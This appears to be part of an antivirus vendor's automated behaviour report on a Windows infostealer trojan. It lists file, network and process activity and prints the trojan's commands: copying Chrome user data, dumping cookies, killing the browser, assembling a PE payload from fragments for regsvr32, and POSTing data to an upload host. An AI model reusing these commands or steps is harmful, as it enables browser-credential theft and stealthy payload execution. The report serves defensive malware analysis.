%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\tr\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\uk\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\vi\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_cn\messages.json
%TEMP%\egfhkjsss99\default\extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_tw\messages.json
%TEMP%\egfhkjsss99\default\session storage\current
%TEMP%\egfhkjsss99\default\session storage\log
%TEMP%\egfhkjsss99\default\session storage\manifest-000001
%WINDIR%\syswow64\windowspowershell\v1.0\d-shm
%LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
%LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\log
%LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
%LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
%LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
%LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
%LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\cookies
%LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
%LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
%LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
%LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
%LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
%LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
%LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
%LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
%TEMP%\egfhkjsss99\default\a8bf.tmp
%TEMP%\egfhkjsss99\default\shortcuts-journal
%TEMP%\etilqs_2kgsu3qaqhisikd
%LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
%LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
%TEMP%\egfhkjsss99\cbc8.tmp
%TEMP%\egfhkjsss99\default\cd9e.tmp
%TEMP%\egfhkjsss99\default\cdbe.tmp
%LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000002
%LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000002.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\log
%LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db-journal
%APPDATA%\ghedrei
%LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db
%LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
%LOCALAPPDATA%\microsoft\edge\user data\last browser
%LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
%LOCALAPPDATA%\microsoft\edge\user data\default\preferredapps
%LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\log
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
%LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
%LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
%LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
%TEMP%\egfhkjsss99\default\23d.tmp
%TEMP%\egfhkjsss99\8a9.tmp
%TEMP%\egfhkjsss99\default\3ebd.tmp
%TEMP%\egfhkjsss99\e1f4.tmp

Sets the 'hidden' attribute to the following files

%APPDATA%\ghedrei

Deletes following files that it created itself

%TEMP%\jfiag3g_gg.exe
%TEMP%\fj4ghga23_fsa.txt
%WINDIR%\syswow64\windowspowershell\v1.0\d
%TEMP%\ecv6bd5.tmp
%WINDIR%\syswow64\windowspowershell\v1.0\d-shm
%WINDIR%\syswow64\windowspowershell\v1.0\d.jfm
%LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
%TEMP%\egfhkjsss99\default\a8bf.tmp
%TEMP%\egfhkjsss99\default\history provider cache
%LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-693b2ee3-c70.pma
%LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-693b2eef-69c.pma
%LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001

Moves the following files

from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
from %TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\log to %TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\log.old
from %TEMP%\egfhkjsss99\default\current session to %TEMP%\egfhkjsss99\default\last session
from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
from %TEMP%\egfhkjsss99\cbc8.tmp to %TEMP%\egfhkjsss99\local state
from %TEMP%\egfhkjsss99\default\cd9e.tmp to %TEMP%\egfhkjsss99\default\secure preferences
from %TEMP%\egfhkjsss99\default\cdbe.tmp to %TEMP%\egfhkjsss99\default\preferences
from %TEMP%\egfhkjsss99\default\extension state\log to %TEMP%\egfhkjsss99\default\extension state\log.old
from %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
from %TEMP%\egfhkjsss99\default\23d.tmp to %TEMP%\egfhkjsss99\default\secure preferences
from %TEMP%\egfhkjsss99\8a9.tmp to %TEMP%\egfhkjsss99\local state
from %TEMP%\egfhkjsss99\default\3ebd.tmp to %TEMP%\egfhkjsss99\default\secure preferences
from %TEMP%\egfhkjsss99\default\session storage\log to %TEMP%\egfhkjsss99\default\session storage\log.old
from %TEMP%\egfhkjsss99\e1f4.tmp to %TEMP%\egfhkjsss99\local state

Modifies the following files

%LOCALAPPDATA%\google\chrome\user data\default\secure preferences
%LOCALAPPDATA%\microsoft\edge\user data\last version
%LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
%LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
%LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
%LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\web data
%LOCALAPPDATA%\microsoft\edge\user data\default\visited links
%LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\favicons-journal
%LOCALAPPDATA%\microsoft\edge\user data\default\history
%LOCALAPPDATA%\microsoft\edge\user data\default\favicons
%LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres

Substitutes the following files

%TEMP%\jfiag3g_gg.exe
%TEMP%\fj4ghga23_fsa.txt
%WINDIR%\syswow64\windowspowershell\v1.0\d
%WINDIR%\syswow64\windowspowershell\v1.0\d.jfm
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
%TEMP%\egfhkjsss99\default\data_reduction_proxy_leveldb\log
%TEMP%\egfhkjsss99\default\current session
%WINDIR%\syswow64\windowspowershell\v1.0\d-shm
%TEMP%\egfhkjsss99\default\extension state\log
%TEMP%\egfhkjsss99\default\session storage\log

Network activity

Connects to

'10#.#6.107.74':80
'ip###ger.org':443
'ip##pi.com':80
'di##########s.ams3.digitaloceanspaces.com':443
'fa###ook.com':443
'mo#####.map.fastly.net':443
'te##te.in':443
'x1.#.lencr.org':80
'ue#####6gh.2ihsfa.com':80
'co####.edge.skype.com':443
'clients2.google.com':443
'clients3.google.com':443
'tr######e.googleapis.com':443
'ss#.#static.com':443
'4z##r.com':80

TCP

HTTP GET requests

http://ip##pi.com/json/
http://x1.#.lencr.org/

HTTP POST requests

http://4z##r.com/upload/

Other

'ip###ger.org':443
'di##########s.ams3.digitaloceanspaces.com':443
'fa###ook.com':443
'te##te.in':443
'co####.edge.skype.com':443
'se####.facebook.com':443
'clients2.google.com':443
'tr######e.googleapis.com':443
'ss#.#static.com':443
'gs##tic.com':443

UDP

DNS ASK cn##de.pw
DNS ASK ip###ger.org
DNS ASK ip##pi.com
DNS ASK mi####dollars.xyz
DNS ASK di##########s.ams3.digitaloceanspaces.com
DNS ASK fa###ook.com
DNS ASK mo#####.map.fastly.net
DNS ASK te##te.in
DNS ASK x1.#.lencr.org
DNS ASK ue#####6gh.2ihsfa.com
DNS ASK fd##ice.pw
DNS ASK google.com
DNS ASK co####.edge.skype.com
DNS ASK se####.facebook.com
DNS ASK clients2.google.com
DNS ASK clients4.google.com
DNS ASK clients3.google.com
DNS ASK tr######e.googleapis.com
DNS ASK ss#.#static.com
DNS ASK 4z##r.com
DNS ASK gs##tic.com

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
ClassName: '' WindowName: ''
ClassName: 'Chrome_MessageWindow' WindowName: '%TEMP%\egfhkjsss99'

Creates and executes the following

'%WINDIR%\syswow64\windowspowershell\v1.0\krsetp.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\md9_9sjm.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\aszd.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\cdji.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\cllhjkd.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\updhhj.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\pzysgf.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\mmt.exe'
'%TEMP%\rarsfx0\ffsgf.exe'
'%TEMP%\jfiag3g_gg.exe' /scookiestxt %TEMP%\fj4ghga23_fsa.txt
'%TEMP%\wvijb.exe' /pYeO5B4EhiCjOWCDHR15g1c8c

Executes the following

'%WINDIR%\syswow64\cmd.exe' /Q /c CoPY /y "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\cllhjkd.exe" wvIjB.exe > NUl &&staRT wvIjB.exe /pYeO5B4EhiCjOWCDHR15g1c8c & If...
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument https://iplogger.org/1wNij7
'%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im chrome.exe
'%WINDIR%\syswow64\cmd.exe' /Q /c CoPY /y "%TEMP%\wvIjB.exe" wvIjB.exe > NUl &&staRT wvIjB.exe /pYeO5B4EhiCjOWCDHR15g1c8c & If"/pYeO5B4EhiCjOWCDHR15g1c8c "...
'%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data" "%TEMP%\egfhkjsss99\" /s /e /y
'%WINDIR%\syswow64\cmd.exe' /c echO |Set /p ="MZ" > DBqIj0m.fFL & cOPY /Y /bDBQIJ0m.fFL +MhPztXhL.C+ R_jxMqe5.U E58nuPoe.8 > NuL & DeL MhP...
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echO "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" Set /p ="MZ" 1>DBqIj0m.fFL"
'%WINDIR%\syswow64\regsvr32.exe' /S .\e58NupOE.8 -u
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://iplogger.org/1wNij7
'%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1808,8804991233166679793,14390501312045817635,131072 --lang=en-US --service-sandbox-type=none --mojo-...
'%TEMP%\jfiag3g_gg.exe' /scookiestxt %TEMP%\fj4ghga23_fsa.txt' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im chrome.exe' (with hidden window)
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://iplogger.org/1wNij7' (with hidden window)

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial